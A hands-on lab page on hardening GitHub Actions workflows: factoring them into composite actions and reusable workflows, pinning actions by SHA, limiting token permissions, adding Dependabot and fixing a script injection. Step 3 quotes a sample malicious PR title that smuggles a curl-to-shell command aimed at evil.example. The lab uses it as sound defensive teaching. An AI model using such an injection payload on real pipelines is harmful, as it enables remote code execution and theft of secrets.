What you will learn in this TP
- Create a composite action and a reusable workflow
- Limit GITHUB_TOKEN permissions
- Pin actions by SHA
- Fix a script injection
All steps and instructions are shown. Recommended for this lab: autonomous
Introduction #
Context. An audit flags copy-pasted workflows, unpinned actions and a command injection risk. You fix everything.
Prerequisites: a free GitHub account, Git, Python 3 and the gh CLI, the Lab 1 repository · Estimated time: 45 min
Factored, pinned, injection-free workflows kept up to date by Dependabot.Setup #
Guided steps, with their solution.
1. Factor
Why? A composite action groups steps; a reusable workflow groups whole jobs.
Create thepreparer-pythonaction, thetests-reutilisables.ymlreusable workflow and aci.ymlcalling it for 3.12 and 3.13.2. Pin by SHA
Why? A tag can be moved to malicious code; a commit SHA cannot.
Find the SHA ofactions/checkoutv7.0.1 and check it is used in the reusable workflow, with the version as a comment.3. Fix an injection
Why? An expression inserted into
runis substituted before the shell runs: a PR title can become a command.Spot the vulnerable step, explain what the titlex"; curl evil.example | sh; echo "would do, then fix it with anenvvariable.4. Keep actions up to date
Why? Pinned actions must be updated: Dependabot opens pull requests with the new SHA.
Add.github/dependabot.ymlfor thegithub-actionsandpipecosystems, then check every workflow haspermissions: contents: read.
Validate your work
Check that each goal above is reached and that you get the result described in the introduction.
Difficulty level : ●●●●○ (4/5)
My progress
Sign in to track your progress and take notes. Sign in
💬 Questions about this lesson
No questions yet: be the first to ask for help or share your configuration.
Recommended Articles
Reusing and securing GitHub Actions workflows
Industrializing GitHub Actions: reusable workflows, composite, JavaScript and Docker actions, lea...
GitHub Actions best practices and troubleshooting
Running GitHub Actions: speeding up and cutting costs, debugging (debug logs, act locally, gh run...
Writing GitHub Actions workflows
Mastering workflow syntax: triggers and filters, jobs and needs, matrices, if conditions, context...
End-to-end CI/CD (5/5): GitHub Actions, GitLab CI, Jenkins and Argo CD in practice
Compare and use CI/CD tools: GitHub Actions, GitLab CI, Jenkins, Argo CD and Flux; a complete pip...
GitHub Actions: concepts and how it works
Discover GitHub Actions: events, workflows, jobs, steps and actions, the Marketplace, hosted runn...
Site Reliability Guardian in Dynatrace
Validating each release with Site Reliability Guardian (SRG): guardians and DQL objectives, fixed...
GitHub Actions runners: hosted, self-hosted and ARC
Choosing where workflows run: hosted runners and images, larger runners, self-hosted runners (ins...
Workflows and AutomationEngine: automating notifications and remediation
Automating with Workflows (AutomationEngine) in Dynatrace: triggers, DQL, JavaScript and connecto...
Threats & Exploits in Dynatrace
Detecting and blocking attacks with the Dynatrace Threats & Exploits app: runtime application pro...